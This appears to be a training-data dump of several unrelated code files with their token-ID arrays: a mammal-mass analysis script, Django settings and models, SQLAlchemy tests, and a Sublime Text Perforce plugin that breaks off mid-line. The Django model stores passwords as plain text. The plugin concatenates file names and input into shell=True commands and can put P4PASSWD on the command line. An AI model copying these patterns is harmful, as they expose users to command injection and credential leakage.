9651, 5712, 29918, 735, 15423, 29918, 8768, 29922, 5574, 29892, 13, 4706, 1723, 13, 1678, 1683, 29901, 13, 4706, 7601, 29918, 8149, 353, 2752, 29918, 24713, 29889, 6550, 2141, 517, 29918, 8977, 580, 3366, 1989, 6708, 8659, 3108, 13, 4706, 260, 1884, 29889, 24713, 29889, 1171, 482, 29889, 3258, 29898, 13, 9651, 3132, 29922, 5182, 29918, 4645, 29892, 7601, 29918, 8149, 29922, 16072, 29918, 8149, 29892, 8783, 29922, 4993, 29918, 24713, 29892, 13, 4706, 1723, 13, 2 ]
code/debugging-example-pleistocene-overkill.py	Vegpathology/phyto-data-viz	60	105199	<reponame>Vegpathology/phyto-data-viz import numpy as np def mean_mass(masses): """Return the mean of a list of masses""" mean_mass = np.mean(masses) return mean_mass all_data = np.genfromtxt('MOMv3.3.txt', delimiter='\t', dtype=None, names=['continent', 'status', 'order', 'family', 'genus', 'species', 'log10mass', 'mass', 'ref']) continents = all_data['continent'] status = all_data['status'] masses = all_data['mass'] unique_continents = np.unique(continents) results = [] for continent in unique_continents: extinct_masses = masses[(status=='extinct') & (continents==continent)] extant_masses = masses[(status=='extant') & (continents==continent)] avg_extinct_mass = mean_mass(extinct_masses) avg_extant_mass = mean_mass(extant_masses) diff = avg_extant_mass - avg_extinct_mass results.append([continent, avg_extant_mass, avg_extinct_mass, diff]) for line in results: print line	[ 1, 529, 276, 1112, 420, 29958, 29963, 387, 2084, 3002, 29914, 11461, 517, 29899, 1272, 29899, 29894, 466, 13, 5215, 12655, 408, 7442, 13, 13, 1753, 2099, 29918, 25379, 29898, 25379, 267, 1125, 13, 1678, 9995, 11609, 278, 2099, 310, 263, 1051, 310, 23063, 15945, 29908, 13, 1678, 2099, 29918, 25379, 353, 7442, 29889, 12676, 29898, 25379, 267, 29897, 13, 1678, 736, 2099, 29918, 25379, 13, 13, 497, 29918, 1272, 353, 7442, 29889, 1885, 3166, 3945, 877, 29924, 6488, 29894, 29941, 29889, 29941, 29889, 3945, 742, 28552, 2433, 29905, 29873, 742, 26688, 29922, 8516, 29892, 13, 462, 3986, 2983, 29922, 1839, 1285, 8946, 742, 525, 4882, 742, 525, 2098, 742, 525, 11922, 742, 13, 462, 462, 525, 1885, 375, 742, 525, 24091, 742, 525, 1188, 29896, 29900, 25379, 742, 525, 25379, 742, 525, 999, 11287, 13, 13, 1285, 262, 1237, 353, 599, 29918, 1272, 1839, 1285, 8946, 2033, 13, 4882, 353, 599, 29918, 1272, 1839, 4882, 2033, 13, 25379, 267, 353, 599, 29918, 1272, 1839, 25379, 2033, 13, 13, 13092, 29918, 1285, 262, 1237, 353, 7442, 29889, 13092, 29898, 1285, 262, 1237, 29897, 13, 9902, 353, 5159, 13, 1454, 25523, 297, 5412, 29918, 1285, 262, 1237, 29901, 13, 1678, 1294, 5562, 29918, 25379, 267, 353, 23063, 15625, 4882, 1360, 29915, 1062, 5562, 1495, 669, 313, 1285, 262, 1237, 1360, 1285, 8946, 4638, 13, 1678, 1294, 424, 29918, 25379, 267, 353, 23063, 15625, 4882, 1360, 29915, 1062, 424, 1495, 669, 313, 1285, 262, 1237, 1360, 1285, 8946, 4638, 13, 1678, 1029, 29887, 29918, 1062, 5562, 29918, 25379, 353, 2099, 29918, 25379, 29898, 1062, 5562, 29918, 25379, 267, 29897, 13, 1678, 1029, 29887, 29918, 1062, 424, 29918, 25379, 353, 2099, 29918, 25379, 29898, 1062, 424, 29918, 25379, 267, 29897, 13, 1678, 2923, 353, 1029, 29887, 29918, 1062, 424, 29918, 25379, 448, 1029, 29887, 29918, 1062, 5562, 29918, 25379, 13, 1678, 2582, 29889, 4397, 4197, 1285, 8946, 29892, 1029, 29887, 29918, 1062, 424, 29918, 25379, 29892, 1029, 29887, 29918, 1062, 5562, 29918, 25379, 29892, 2923, 2314, 13, 268, 13, 1454, 1196, 297, 2582, 29901, 13, 1678, 1596, 1196, 2 ]
edd/settings/__init__.py	TeselaGen/jbei-edd	0	96189	<gh_stars>0 # -- coding: utf-8 -- """ Settings for the Experiment Data Depot. """ # import baseline settings included in EDD's git repo from .base import * # noqa from .auth import * # noqa from .celery import * # noqa # try to load overridden settings from local.py, if present try: from .local import * # noqa except ImportError as e: print("Did not find local settings; did you rename settings/local.py-example?") # After all settings are imported, do any necessary registration of values try: from jbei.rest.auth import HmacAuth HmacAuth.register_key(ICE_KEY_ID, ICE_SECRET_HMAC_KEY) # noqa except ImportError as e: print("Failed to import REST authenticators; some features may not work.") except Exception as e: print("Failed to register ICE authenticator; connection to ICE may not work: %s" % e)	[ 1, 529, 12443, 29918, 303, 1503, 29958, 29900, 13, 29937, 448, 29930, 29899, 14137, 29901, 23616, 29899, 29947, 448, 29930, 29899, 13, 15945, 29908, 19215, 363, 278, 1222, 15362, 3630, 10034, 327, 29889, 9995, 13, 13, 29937, 1053, 2362, 5570, 6055, 5134, 297, 382, 7858, 29915, 29879, 6315, 13761, 13, 3166, 869, 3188, 1053, 334, 29871, 396, 694, 25621, 13, 3166, 869, 5150, 1053, 334, 29871, 396, 694, 25621, 13, 3166, 869, 2242, 708, 1053, 334, 29871, 396, 694, 25621, 13, 13, 29937, 1018, 304, 2254, 20831, 1145, 6055, 515, 1887, 29889, 2272, 29892, 565, 2198, 13, 2202, 29901, 13, 1678, 515, 869, 2997, 1053, 334, 29871, 396, 694, 25621, 13, 19499, 16032, 2392, 408, 321, 29901, 13, 1678, 1596, 703, 9260, 451, 1284, 1887, 6055, 29936, 1258, 366, 19508, 6055, 29914, 2997, 29889, 2272, 29899, 4773, 29973, 1159, 13, 13, 29937, 2860, 599, 6055, 526, 19673, 29892, 437, 738, 5181, 22583, 310, 1819, 13, 2202, 29901, 13, 1678, 515, 432, 27242, 29889, 5060, 29889, 5150, 1053, 379, 8628, 6444, 13, 1678, 379, 8628, 6444, 29889, 9573, 29918, 1989, 29898, 12107, 29918, 10818, 29918, 1367, 29892, 306, 4741, 29918, 1660, 22245, 29911, 29918, 29950, 1529, 29907, 29918, 10818, 29897, 29871, 396, 694, 25621, 13, 19499, 16032, 2392, 408, 321, 29901, 13, 1678, 1596, 703, 17776, 304, 1053, 16759, 15585, 4097, 29936, 777, 5680, 1122, 451, 664, 23157, 13, 19499, 8960, 408, 321, 29901, 13, 1678, 1596, 703, 17776, 304, 6036, 306, 4741, 15585, 1061, 29936, 3957, 304, 306, 4741, 1122, 451, 664, 29901, 1273, 29879, 29908, 1273, 321, 29897, 13, 2 ]
tests/test_SQL.py	mfulghum/pyZRD	0	61249	import unittest import sql.db import sql.elements class TestSQLConnection(unittest.TestCase): def test_initialization(self): """ Start up the SQLAlchemy engine and initialize the database, then shut it all down. :return: """ # Initialize the database. session, engine = sql.db.initialize_database(verbose=False) # Check that the database is shut down. self.assertIsNotNone(engine) self.assertIsNotNone(session) # Shut the database down. sql.db.shutdown_database(session, engine) class TestSQLCommit(unittest.TestCase): def setUp(self): """ :return: """ self.session, self.engine = sql.db.initialize_database(verbose=False) def test_commit(self): """ Start up the SQLAlchemy engine and initialize the database :return: """ # First make sure that we have a SQL session self.assertIsNotNone(self.engine) self.assertIsNotNone(self.session) # Create a ray element without assigning an ID ray = sql.elements.Ray() # The ID should be None self.assertIsNone(ray.id) # Add the ray to the session self.session.add(ray) # The ID should still be None self.assertIsNone(ray.id) # Commit the change self.session.commit() # Now that the ray has been added, the ray ID should now be 1 self.assertEqual(ray.id, 1) def tearDown(self): """ Shut down the SQL database :return: """ sql.db.shutdown_database(self.session, self.engine)	[ 1, 1053, 443, 27958, 13, 13, 5215, 4576, 29889, 2585, 13, 5215, 4576, 29889, 17664, 13, 13, 1990, 4321, 4176, 5350, 29898, 348, 27958, 29889, 3057, 8259, 1125, 13, 1678, 822, 1243, 29918, 11228, 2133, 29898, 1311, 1125, 13, 4706, 9995, 13, 4706, 7370, 701, 278, 3758, 2499, 305, 6764, 6012, 322, 11905, 278, 2566, 29892, 769, 12522, 372, 599, 1623, 29889, 13, 4706, 584, 2457, 29901, 13, 4706, 9995, 13, 4706, 396, 25455, 278, 2566, 29889, 13, 4706, 4867, 29892, 6012, 353, 4576, 29889, 2585, 29889, 24926, 29918, 9803, 29898, 369, 15828, 29922, 8824, 29897, 13, 13, 4706, 396, 5399, 393, 278, 2566, 338, 12522, 1623, 29889, 13, 4706, 1583, 29889, 9294, 3624, 3664, 8516, 29898, 10599, 29897, 13, 4706, 1583, 29889, 9294, 3624, 3664, 8516, 29898, 7924, 29897, 13, 13, 4706, 396, 1383, 329, 278, 2566, 1623, 29889, 13, 4706, 4576, 29889, 2585, 29889, 845, 329, 3204, 29918, 9803, 29898, 7924, 29892, 6012, 29897, 13, 13, 1990, 4321, 4176, 1523, 2415, 29898, 348, 27958, 29889, 3057, 8259, 1125, 13, 1678, 822, 731, 3373, 29898, 1311, 1125, 13, 4706, 9995, 13, 13, 4706, 584, 2457, 29901, 13, 4706, 9995, 13, 4706, 1583, 29889, 7924, 29892, 1583, 29889, 10599, 353, 4576, 29889, 2585, 29889, 24926, 29918, 9803, 29898, 369, 15828, 29922, 8824, 29897, 13, 13, 1678, 822, 1243, 29918, 15060, 29898, 1311, 1125, 13, 4706, 9995, 13, 4706, 7370, 701, 278, 3758, 2499, 305, 6764, 6012, 322, 11905, 278, 2566, 13, 4706, 584, 2457, 29901, 13, 4706, 9995, 13, 4706, 396, 3824, 1207, 1854, 393, 591, 505, 263, 3758, 4867, 13, 4706, 1583, 29889, 9294, 3624, 3664, 8516, 29898, 1311, 29889, 10599, 29897, 13, 4706, 1583, 29889, 9294, 3624, 3664, 8516, 29898, 1311, 29889, 7924, 29897, 13, 13, 4706, 396, 6204, 263, 15570, 1543, 1728, 23188, 385, 3553, 13, 4706, 15570, 353, 4576, 29889, 17664, 29889, 29934, 388, 580, 13, 13, 4706, 396, 450, 3553, 881, 367, 6213, 13, 4706, 1583, 29889, 9294, 3624, 8516, 29898, 764, 29889, 333, 29897, 13, 13, 4706, 396, 3462, 278, 15570, 304, 278, 4867, 13, 4706, 1583, 29889, 7924, 29889, 1202, 29898, 764, 29897, 13, 13, 4706, 396, 450, 3553, 881, 334, 303, 453, 29930, 367, 6213, 13, 4706, 1583, 29889, 9294, 3624, 8516, 29898, 764, 29889, 333, 29897, 13, 13, 4706, 396, 1876, 277, 278, 1735, 13, 4706, 1583, 29889, 7924, 29889, 15060, 580, 13, 13, 4706, 396, 2567, 393, 278, 15570, 756, 1063, 2715, 29892, 278, 15570, 3553, 881, 1286, 367, 29871, 29896, 13, 4706, 1583, 29889, 9294, 9843, 29898, 764, 29889, 333, 29892, 29871, 29896, 29897, 13, 13, 1678, 822, 734, 279, 6767, 29898, 1311, 1125, 13, 4706, 9995, 13, 4706, 1383, 329, 1623, 278, 3758, 2566, 13, 4706, 584, 2457, 29901, 13, 4706, 9995, 13, 4706, 4576, 29889, 2585, 29889, 845, 329, 3204, 29918, 9803, 29898, 1311, 29889, 7924, 29892, 1583, 29889, 10599, 29897, 2 ]
APPS/MEMBER/models.py	RockhoRockho/Project_FG	1	191987	<gh_stars>1-10 from django.db import models class Member(models.Model): member_id = models.AutoField(primary_key=True, verbose_name='회원ID') username = models.CharField(max_length=30, verbose_name='아이디') pw = models.CharField(max_length=30, verbose_name='비밀번호') name = models.CharField(max_length=30, verbose_name='이름') gender = models.CharField(max_length=2, verbose_name='성별') email = models.EmailField(max_length=30, verbose_name='이메일') phoneNum = models.IntegerField(verbose_name='폰번호') birth = models.DateField(verbose_name='생년월일') class Meta: db_table = 'member' verbose_name='회원' verbose_name_plural='회원들' def __str__(self): return f'{self.pk} : {self.username}'	[ 1, 529, 12443, 29918, 303, 1503, 29958, 29896, 29899, 29896, 29900, 13, 3166, 9557, 29889, 2585, 1053, 4733, 13, 13, 1990, 19495, 29898, 9794, 29889, 3195, 1125, 13, 1678, 4509, 29918, 333, 353, 4733, 29889, 12300, 3073, 29898, 16072, 29918, 1989, 29922, 5574, 29892, 26952, 29918, 978, 2433, 31953, 31198, 1367, 1495, 13, 1678, 8952, 353, 4733, 29889, 27890, 29898, 3317, 29918, 2848, 29922, 29941, 29900, 29892, 26952, 29918, 978, 2433, 30860, 30393, 238, 151, 151, 1495, 13, 1678, 282, 29893, 353, 4733, 29889, 27890, 29898, 3317, 29918, 2848, 29922, 29941, 29900, 29892, 26952, 29918, 978, 2433, 31487, 238, 179, 131, 238, 181, 139, 31603, 1495, 13, 1678, 1024, 353, 4733, 29889, 27890, 29898, 3317, 29918, 2848, 29922, 29941, 29900, 29892, 26952, 29918, 978, 2433, 30393, 238, 169, 135, 1495, 13, 1678, 23346, 353, 4733, 29889, 27890, 29898, 3317, 29918, 2848, 29922, 29906, 29892, 26952, 29918, 978, 2433, 31126, 238, 182, 135, 1495, 13, 1678, 4876, 353, 4733, 29889, 9823, 3073, 29898, 3317, 29918, 2848, 29922, 29941, 29900, 29892, 26952, 29918, 978, 2433, 30393, 238, 172, 151, 31153, 1495, 13, 1678, 9008, 8009, 353, 4733, 29889, 7798, 3073, 29898, 369, 15828, 29918, 978, 2433, 240, 146, 179, 238, 181, 139, 31603, 1495, 13, 1678, 12060, 353, 4733, 29889, 2539, 3073, 29898, 369, 15828, 29918, 978, 2433, 239, 134, 160, 31571, 31950, 31153, 1495, 13, 268, 13, 1678, 770, 20553, 29901, 13, 4706, 4833, 29918, 2371, 353, 525, 14242, 29915, 29871, 13, 4706, 26952, 29918, 978, 2433, 31953, 31198, 29915, 29871, 13, 4706, 26952, 29918, 978, 29918, 572, 3631, 2433, 31953, 31198, 31804, 29915, 13, 13, 1678, 822, 4770, 710, 12035, 1311, 1125, 13, 4706, 736, 285, 29915, 29912, 1311, 29889, 20571, 29913, 584, 426, 1311, 29889, 6786, 10162, 2 ]
Perforce.py	zillow/Sublime-Text-2-Perforce-Plugin	0	84920	# Written by <NAME> (<EMAIL> / www.ericmartel.com) # Available commands are listed in Default.sublime-commands # changelog # <NAME> - first implementation of add / checkout # <NAME> & <NAME> - handling of forward slashes in clientspec folder # <NAME> & <NAME> - first implementation of revert # <NAME> - first implementation of diff # <NAME> - first implementation of Graphical Diff from Depot # <NAME> - first pass on changelist manipulation # <NAME> - first implementation for rename / delete & added on_modified as a condition to checkout a file # <NAME> - bug fix for better support of client workspaces # <NAME> - better handling of clientspecs # <NAME> - parameterized graphical diff # <NAME> & adecold - only list pending changelists belonging to the current user # <NAME> - source bash_profile when calling p4 on Mac OSX # <NAME> - first implementation of submit # <NAME> - Better handling of P4CONFIG files # <NAME> & <NAME> - threading of the diff task and selector for the graphical diff application # <NAME> - Added the possibility to Submit the default changelist # <NAME> - Added a way to pass p4env parameters to the command building function import sublime import sublime_plugin import os import stat import subprocess import tempfile import threading import json import sys try: from Queue import Queue, Empty except ImportError: from queue import Queue, Empty # python 3.x # Plugin Settings are located in 'perforce.sublime-settings' make a copy in the User folder to keep changes # global variable used when calling p4 - it stores the path of the file in the current view, used to determine with P4CONFIG to use # whenever a view is selected, the variable gets updated global_folder = '' command_prefix = None class PerforceP4CONFIGHandler(sublime_plugin.EventListener): def on_activated(self, view): if view.file_name(): global global_folder global_folder, filename = os.path.split(view.file_name()) if sublime is not None: global command_prefix if command_prefix is None: command_prefix = getCommandPrefix() # Executed at startup to store the path of the plugin... necessary to open files relative to the plugin perforceplugin_dir = os.getcwdu() def getCommandPrefix(): perforce_settings = sublime.load_settings('Perforce.sublime-settings') p4Env = perforce_settings.get('perforce_p4env') if(p4Env and p4Env != ''): return 'source ' + p4Env + ' && ' elif(sublime.platform() == "osx"): return 'source ~/.bash_profile && ' # Revert change until threading is fixed # command_prefix = getPerforceConfigFromPreferences(command) return '' # Utility functions def ConstructCommand(in_command): return command_prefix + in_command if command_prefix is not None else in_command; def getPerforceConfigFromPreferences(command): perforce_settings = sublime.load_settings('Perforce.sublime-settings') # check to see if the sublime preferences include the given p4 config # if it does, then add it to the command in the form "var=value command" # so that they get inserted into the environment the command runs in def addP4Var(command, var): p4var = perforce_settings.get(var) if p4var: if sublime.platform() == "windows": return command + "SET " + var + "=" + p4var + " && " return command + var + "=" + p4var + " " return command command = addP4Var(command, "P4PORT") command = addP4Var(command, "P4CLIENT") command = addP4Var(command, "P4USER") command = addP4Var(command, "P4PASSWD") return command def GetUserFromClientspec(): command = ConstructCommand('p4 info') p = subprocess.Popen(command, stdout=subprocess.PIPE, stderr=subprocess.PIPE, cwd=global_folder, shell=True) result, err = p.communicate() if(err): WarnUser("usererr " + err.strip()) return -1 # locate the line containing "User name: " and extract the following name startindex = result.find("User name: ") if(startindex == -1): WarnUser("Unexpected output from 'p4 info'.") return -1 startindex += 11 # advance after 'User name: ' endindex = result.find("\n", startindex) if(endindex == -1): WarnUser("Unexpected output from 'p4 info'.") return -1 return result[startindex:endindex].strip(); def GetClientRoot(in_dir): # check if the file is in the depot command = ConstructCommand('p4 info') p = subprocess.Popen(command, stdout=subprocess.PIPE, stderr=subprocess.PIPE, cwd=global_folder, shell=True) result, err = p.communicate() if(err): WarnUser(err.strip()) return -1 # locate the line containing "Client root: " and extract the following path startindex = result.find("Client root: ") if(startindex == -1): # sometimes the clientspec is not displayed sublime.error_message("Perforce Plugin: p4 info didn't supply a valid clientspec, launching p4 client"); command = ConstructCommand('p4 client') p = subprocess.Popen(command, stdout=subprocess.PIPE, stderr=subprocess.PIPE, cwd=global_folder, shell=True) result, err = p.communicate() return -1 startindex += 13 # advance after 'Client root: ' endindex = result.find("\n", startindex) if(endindex == -1): WarnUser("Unexpected output from 'p4 info'.") return -1 # convert all paths to "os.sep" slashes convertedclientroot = result[startindex:endindex].strip().replace('\\', os.sep).replace('/', os.sep) return convertedclientroot def IsFolderUnderClientRoot(in_folder): # check if the file is in the depot clientroot = GetClientRoot(in_folder) if(clientroot == -1): return 0 clientroot = clientroot.lower() if(clientroot == "null"): return 1 # convert all paths to "os.sep" slashes convertedfolder = in_folder.lower().replace('\\', os.sep).replace('/', os.sep); clientrootindex = convertedfolder.find(clientroot); if(clientrootindex == -1): return 0 return 1 def IsFileInDepot(in_folder, in_filename): isUnderClientRoot = IsFolderUnderClientRoot(in_folder); if(os.path.isfile(os.path.join(in_folder, in_filename))): # file exists on disk, not being added if(isUnderClientRoot): return 1 else: return 0 else: if(isUnderClientRoot): return -1 # will be in the depot, it's being added else: return 0 def GetPendingChangelists(): # Launch p4 changes to retrieve all the pending changelists currentuser = GetUserFromClientspec() if(currentuser == -1): return 0, "Unexpected output from 'p4 info'." command = ConstructCommand('p4 changes -s pending -u ' + currentuser) p = subprocess.Popen(command, stdout=subprocess.PIPE, stderr=subprocess.PIPE, cwd=global_folder, shell=True) result, err = p.communicate() if(not err): return 1, result return 0, result def AppendToChangelistDescription(changelist, input): # First, create an empty changelist, we will then get the cl number and set the description command = ConstructCommand('p4 change -o ' + changelist) p = subprocess.Popen(command, stdout=subprocess.PIPE, stderr=subprocess.PIPE, cwd=global_folder, shell=True) result, err = p.communicate() if(err): return 0, err # Find the description field and modify it lines = result.splitlines() descriptionindex = -1 for index, line in enumerate(lines): if(line.strip() == "Description:"): descriptionindex = index break; filesindex = -1 for index, line in enumerate(lines): if(line.strip() == "Files:"): filesindex = index break; if(filesindex == -1): # The changelist is empty endindex = index else: endindex = filesindex - 1 perforce_settings = sublime.load_settings('Perforce.sublime-settings') lines.insert(endindex , "\t" + input) temp_changelist_description_file = open(os.path.join(tempfile.gettempdir(), "tempchangelist.txt"), 'w') try: temp_changelist_description_file.write(perforce_settings.get('perforce_end_line_separator').join(lines)) finally: temp_changelist_description_file.close() command = ConstructCommand('p4 change -i < ' + temp_changelist_description_file.name) p = subprocess.Popen(command, stdout=subprocess.PIPE, stderr=subprocess.PIPE, cwd=global_folder, shell=True) result, err = p.communicate() # Clean up os.unlink(temp_changelist_description_file.name) if(err): return 0, err return 1, result def PerforceCommandOnFile(in_command, in_folder, in_filename): command = ConstructCommand('p4 ' + in_command + ' "' + in_filename + '"') p = subprocess.Popen(command, stdout=subprocess.PIPE, stderr=subprocess.PIPE, cwd=global_folder, shell=True) result, err = p.communicate() if(not err): return 1, result.strip() else: return 0, err.strip() def WarnUser(message): perforce_settings = sublime.load_settings('Perforce.sublime-settings') if(perforce_settings.get('perforce_warnings_enabled')): if(perforce_settings.get('perforce_log_warnings_to_status')): sublime.status_message("Perforce [warning]: " + message) else: print "Perforce [warning]: " + message def LogResults(success, message): if(success >= 0): print "Perforce: " + message else: WarnUser(message); def IsFileWritable(in_filename): if(not in_filename): return 0 # if it doesn't exist, it's "writable" if(not os.path.isfile(in_filename)): return 1 filestats = os.stat(in_filename)[0]; if(filestats & stat.S_IWRITE): return 1 return 0 # Checkout section def Checkout(in_filename): if(IsFileWritable(in_filename)): return -1, "File is already writable." folder_name, filename = os.path.split(in_filename) isInDepot = IsFileInDepot(folder_name, filename) if(isInDepot != 1): return -1, "File is not under the client root." # check out the file return PerforceCommandOnFile("edit", folder_name, in_filename); class PerforceAutoCheckout(sublime_plugin.EventListener): def on_modified(self, view): if(not view.file_name()): return if(IsFileWritable(view.file_name())): return perforce_settings = sublime.load_settings('Perforce.sublime-settings') # check if this part of the plugin is enabled if(not perforce_settings.get('perforce_auto_checkout') or not perforce_settings.get('perforce_auto_checkout_on_modified')): return if(view.is_dirty()): success, message = Checkout(view.file_name()) LogResults(success, message); def on_pre_save(self, view): perforce_settings = sublime.load_settings('Perforce.sublime-settings') # check if this part of the plugin is enabled if(not perforce_settings.get('perforce_auto_checkout') or not perforce_settings.get('perforce_auto_checkout_on_save')): return if(view.is_dirty()): success, message = Checkout(view.file_name()) LogResults(success, message); class PerforceCheckoutCommand(sublime_plugin.TextCommand): def run(self, edit): if(self.view.file_name()): success, message = Checkout(self.view.file_name()) LogResults(success, message) else: WarnUser("View does not contain a file") # Add section def Add(in_folder, in_filename): # add the file return PerforceCommandOnFile("add", in_folder, in_filename); class PerforceAutoAdd(sublime_plugin.EventListener): preSaveIsFileInDepot = 0 def on_pre_save(self, view): # file already exists, no need to add if view.file_name() and os.path.isfile(view.file_name()): return global global_folder global_folder, filename = os.path.split(view.file_name()) perforce_settings = sublime.load_settings('Perforce.sublime-settings') self.preSaveIsFileInDepot = 0 # check if this part of the plugin is enabled if(not perforce_settings.get('perforce_auto_add')): WarnUser("Auto Add disabled") return folder_name, filename = os.path.split(view.file_name()) self.preSaveIsFileInDepot = IsFileInDepot(folder_name, filename) def on_post_save(self, view): if(self.preSaveIsFileInDepot == -1): folder_name, filename = os.path.split(view.file_name()) success, message = Add(folder_name, filename) LogResults(success, message) class PerforceAddCommand(sublime_plugin.TextCommand): def run(self, edit): if(self.view.file_name()): folder_name, filename = os.path.split(self.view.file_name()) if(IsFileInDepot(folder_name, filename)): success, message = Add(folder_name, filename) else: success = 0 message = "File is not under the client root." LogResults(success, message) else: WarnUser("View does not contain a file") # Rename section def Rename(in_filename, in_newname): command = ConstructCommand('p4 integrate -d -t -Di -f "' + in_filename + '" "' + in_newname + '"') p = subprocess.Popen(command, stdout=subprocess.PIPE, stderr=subprocess.PIPE, cwd=global_folder, shell=True) result, err = p.communicate() if(err): return 0, err.strip() command = ConstructCommand('p4 delete "' + in_filename + '" "' + in_newname + '"') p = subprocess.Popen(command, stdout=subprocess.PIPE, stderr=subprocess.PIPE, cwd=global_folder, shell=True) result, err = p.communicate() if(not err): return 1, result.strip() else: return 0, err.strip() class PerforceRenameCommand(sublime_plugin.WindowCommand): def run(self): # Get the description self.window.show_input_panel('New File Name', self.window.active_view().file_name(), self.on_done, self.on_change, self.on_cancel) def on_done(self, input): success, message = Rename(self.window.active_view().file_name(), input) if(success): self.window.run_command('close') self.window.open_file(input) LogResults(success, message) def on_change(self, input): pass def on_cancel(self): pass # Delete section def Delete(in_folder, in_filename): success, message = PerforceCommandOnFile("delete", in_folder, in_filename) if(success): # test if the file is deleted if(os.path.isfile(os.path.join(in_folder, in_filename))): success = 0 return success, message class PerforceDeleteCommand(sublime_plugin.WindowCommand): def run(self): if(self.window.active_view().file_name()): folder_name, filename = os.path.split(self.window.active_view().file_name()) if(IsFileInDepot(folder_name, filename)): success, message = Delete(folder_name, filename) if(success): # the file was properly deleted on perforce, ask Sublime Text to close the view self.window.run_command('close'); else: success = 0 message = "File is not under the client root." LogResults(success, message) else: WarnUser("View does not contain a file") # Revert section def Revert(in_folder, in_filename): # revert the file return PerforceCommandOnFile("revert", in_folder, in_filename); class PerforceRevertCommand(sublime_plugin.TextCommand): def run_(self, args): # revert cannot be called when an Edit object exists, manually handle the run routine if(self.view.file_name()): folder_name, filename = os.path.split(self.view.file_name()) if(IsFileInDepot(folder_name, filename)): success, message = Revert(folder_name, filename) if(success): # the file was properly reverted, ask Sublime Text to refresh the view self.view.run_command('revert'); else: success = 0 message = "File is not under the client root." LogResults(success, message) else: WarnUser("View does not contain a file") # Diff section def Diff(in_folder, in_filename): # diff the file return PerforceCommandOnFile("diff", in_folder, in_filename); class PerforceDiffCommand(sublime_plugin.TextCommand): def run(self, edit): if(self.view.file_name()): folder_name, filename = os.path.split(self.view.file_name()) if(IsFileInDepot(folder_name, filename)): success, message = Diff(folder_name, filename) else: success = 0 message = "File is not under the client root." LogResults(success, message) else: WarnUser("View does not contain a file") # Graphical Diff With Depot section class GraphicalDiffThread(threading.Thread): def __init__(self, in_folder, in_filename, in_endlineseparator, in_command): self.folder = in_folder self.filename = in_filename self.endlineseparator = in_endlineseparator self.command = in_command threading.Thread.__init__(self) def run(self): success, content = PerforceCommandOnFile("print", self.folder, self.filename) if(not success): return 0, content # Create a temporary file to hold the depot version depotFileName = "depot"+self.filename tmp_file = open(os.path.join(tempfile.gettempdir(), depotFileName), 'w') # Remove the first two lines of content linebyline = content.splitlines(); content=self.endlineseparator.join(linebyline[1:]); try: tmp_file.write(content) finally: tmp_file.close() # Launch P4Diff with both files and the same arguments P4Win passes it diffCommand = self.command diffCommand = diffCommand.replace('%depotfile_path', tmp_file.name) diffCommand = diffCommand.replace('%depotfile_name', depotFileName) diffCommand = diffCommand.replace('%file_path', os.path.join(self.folder, self.filename)) diffCommand = diffCommand.replace('%file_name', self.filename) command = ConstructCommand(diffCommand) p = subprocess.Popen(command, stdout=subprocess.PIPE, stderr=subprocess.PIPE, cwd=global_folder, shell=True) result, err = p.communicate() # Clean up os.unlink(tmp_file.name); def GraphicalDiffWithDepot(self, in_folder, in_filename): perforce_settings = sublime.load_settings('Perforce.sublime-settings') diffcommand = perforce_settings.get('perforce_selectedgraphicaldiffapp_command') if not diffcommand: diffcommand = perforce_settings.get('perforce_default_graphical_diff_command') GraphicalDiffThread(in_folder, in_filename, perforce_settings.get('perforce_end_line_separator'), diffcommand).start() return 1, "Launching thread for Graphical Diff" class PerforceGraphicalDiffWithDepotCommand(sublime_plugin.TextCommand): def run(self, edit): if(self.view.file_name()): folder_name, filename = os.path.split(self.view.file_name()) if(IsFileInDepot(folder_name, filename)): success, message = GraphicalDiffWithDepot(self, folder_name, filename) else: success = 0 message = "File is not under the client root." LogResults(success, message) else: WarnUser("View does not contain a file") class PerforceSelectGraphicalDiffApplicationCommand(sublime_plugin.WindowCommand): def run(self): diffapps = [] if os.path.exists(perforceplugin_dir + os.sep + 'graphicaldiffapplications.json'): f = open(perforceplugin_dir + os.sep + 'graphicaldiffapplications.json') applications = json.load(f) f.close() for entry in applications.get('applications'): formattedentry = [] formattedentry.append(entry.get('name')) formattedentry.append(entry.get('exename')) diffapps.append(formattedentry) self.window.show_quick_panel(diffapps, self.on_done) def on_done(self, picked): if picked == -1: return f = open(perforceplugin_dir + os.sep + 'graphicaldiffapplications.json') applications = json.load(f) entry = applications.get('applications')[picked] f.close() sublime.status_message(__name__ + ': Please make sure that ' + entry['exename'] + " is reachable - you might need to restart Sublime Text 2.") settings = sublime.load_settings('Perforce.sublime-settings') settings.set('perforce_selectedgraphicaldiffapp', entry['name']) settings.set('perforce_selectedgraphicaldiffapp_command', entry['diffcommand']) sublime.save_settings('Perforce.sublime-settings') # List Checked Out Files section class ListCheckedOutFilesThread(threading.Thread): def __init__(self, window): self.window = window threading.Thread.__init__(self) def ConvertFileNameToFileOnDisk(self, in_filename): clientroot = GetClientRoot(os.path.dirname(in_filename)) if(clientroot == -1): return 0 if(clientroot == "null"): return in_filename filename = clientroot + os.sep + in_filename.replace('\\', os.sep).replace('/', os.sep) return filename def MakeFileListFromChangelist(self, in_changelistline): files_list = [] currentuser = GetUserFromClientspec() # Launch p4 opened to retrieve all files from changelist command = ConstructCommand('p4 opened -c ' + in_changelistline[1] + ' -u ' + currentuser) p = subprocess.Popen(command, stdout=subprocess.PIPE, stderr=subprocess.PIPE, cwd=global_folder, shell=True) result, err = p.communicate() if(not err): lines = result.splitlines() for line in lines: # remove the change # poundindex = line.rfind('#') cleanedfile = line[0:poundindex] # just keep the filename cleanedfile = '/'.join(cleanedfile.split('/')[3:]) file_entry = [cleanedfile[cleanedfile.rfind('/')+1:]] file_entry.append("Changelist: " + in_changelistline[1]) file_entry.append(' '.join(in_changelistline[7:])); localfile = self.ConvertFileNameToFileOnDisk(cleanedfile) if(localfile != 0): file_entry.append(localfile) files_list.append(file_entry) return files_list def MakeCheckedOutFileList(self): files_list = self.MakeFileListFromChangelist(['','default','','','','','','Default Changelist']); currentuser = GetUserFromClientspec() if(currentuser == -1): return files_list # Launch p4 changes to retrieve all the pending changelists command = ConstructCommand('p4 changes -s pending -u ' + currentuser); p = subprocess.Popen(command, stdout=subprocess.PIPE, stderr=subprocess.PIPE, cwd=global_folder, shell=True) result, err = p.communicate() if(not err): changelists = result.splitlines() # for each line, extract the change, and run p4 opened on it to list all the files for changelistline in changelists: changelistlinesplit = changelistline.split(' ') files_list.extend(self.MakeFileListFromChangelist(changelistlinesplit)) return files_list def run(self): self.files_list = 